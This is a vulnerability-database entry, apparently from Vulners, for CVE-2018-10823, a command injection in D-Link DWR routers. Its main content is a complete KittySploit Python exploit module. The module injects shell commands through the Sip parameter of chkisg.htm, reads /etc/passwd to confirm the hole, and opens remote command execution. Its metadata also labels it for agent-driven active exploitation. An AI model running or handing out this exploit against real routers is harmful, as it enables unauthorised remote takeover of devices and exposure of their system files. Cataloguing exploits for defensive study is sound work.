Lucene search
+L

D-Link Router Sip Parameter RCE (CVE-2018-10823)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 16 Views

Command injection in D-Link DWR routers via Sip parameter on chkisg.htm enables RCE.

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
D-Link Routers - Command Injection Vulnerability
25 Oct 201800:00
–zdt
attackerkb
attackerkb
CVE-2018-10823
17 Oct 201800:00
–attackerkb
bdu_fstec
BDU FSTEC
D-Link Router Code Execution
16 Nov 201800:00
–bdu_fstec
circl
Circl
CVE-2018-10823
17 Oct 201815:59
–circl
cnvd
CNVD
D-Link router httpd server shell command injection vulnerability
17 Oct 201800:00
–cnvd
checkpoint_advisories
Check Point Advisories
Linux System Files Information Disclosure (CVE-2018-10823; CVE-2018-3948)
16 Jun 201400:00
–checkpoint_advisories
cve
CVE
CVE-2018-10823
17 Oct 201814:00
–cve
cvelist
Cvelist
CVE-2018-10823
17 Oct 201814:00
–cvelist
exploitdb
Exploit DB
D-Link Routers - Command Injection
12 Oct 201800:00
–exploitdb
exploitpack
exploitpack
D-Link Routers - Command Injection
12 Oct 201800:00
–exploitpack
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link router chkisg.htm command injection (CVE-2018-10823)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'D-Link Router Sip Parameter RCE (CVE-2018-10823)',
        'description': (
            'Exploits CVE-2018-10823 in D-Link DWR routers: command injection via the Sip '
            'parameter on chkisg.htm.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-10823'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2018-10823'],
        'tags': ['dlink', 'router', 'iot', 'cmdi', 'rce', 'vkev'],
        'agent': {
            'risk': 'high',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {'suggested_followups': ['scanner/http/cve_2018_10823_detect']},
        },
    }

    def execute(self, cmd: str) -> str:
        inj = f'1.1.1.1 | {cmd}'
        path = f'/chkisg.htm?Sip={urllib.parse.quote(inj, safe="")}'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('cat /etc/passwd')
        if re.search(r'root:.*:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2018-10823 confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'D-Link injection failed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8High risk
Vulners AI Score8
CVSS 3.18.8
CVSS 29
EPSS0.77699
16